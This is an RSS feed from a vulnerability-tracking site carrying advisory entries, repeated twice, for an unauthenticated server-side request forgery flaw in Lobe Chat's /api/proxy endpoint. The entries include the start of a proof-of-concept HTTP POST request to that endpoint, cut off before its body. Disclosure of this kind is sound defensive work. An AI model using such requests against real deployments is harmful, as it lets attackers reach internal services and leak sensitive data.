https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 16 Oct 2026 20:43:34 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-5293 EUVD-2026-5293 https://cve.radiocsirt.org/vuln/euvd-2026-5293 https://cve.radiocsirt.org/vuln/fkie_cve-2024-32964 <p>Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.</p> <p>Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-32964 https://cve.radiocsirt.org/vuln/ghsa-mxhq-xw3g-rphc <p><strong>Affected:</strong> npm: @lobehub/chat</p> <p>### Summary The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.</p> <p>### Details * visit https://chat-preview.lobehub.com/settings/agent * you can attack all internal services by /api/proxy and get the echo in http response :)</p> <p></p> <p></p> <p></p> <p>### PoC ```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: &#34;Google Chrome&#34;;v=&#34;123&#34;, &#34;Not:A-Brand&#34;;v=&#34;8&#34;, &#34;Chromium&#34;;v=&#34;123&#34; Sec-Ch-Ua-Platform: &#34;Windows&#34; Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN…</p> <p><strong>Affected:</strong> npm: @lobehub/chat</p> <p>### Summary The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.</p> <p>### Details * visit https://chat-preview.lobehub.com/settings/agent * you can attack all internal services by /api/proxy and get the echo in http response :)</p> <p></p> <p></p> <p></p> <p>### PoC ```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: &#34;Google Chrome&#34;;v=&#34;123&#34;, &#34;Not:A-Brand&#34;;v=&#34;8&#34;, &#34;Chromium&#34;;v=&#34;123&#34; Sec-Ch-Ua-Platform: &#34;Windows&#34; Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN…</p> https://cve.radiocsirt.org/vuln/ghsa-mxhq-xw3g-rphc https://cve.radiocsirt.org/vuln/gsd-2024-32964 gsd-2024-32964 https://cve.radiocsirt.org/vuln/gsd-2024-32964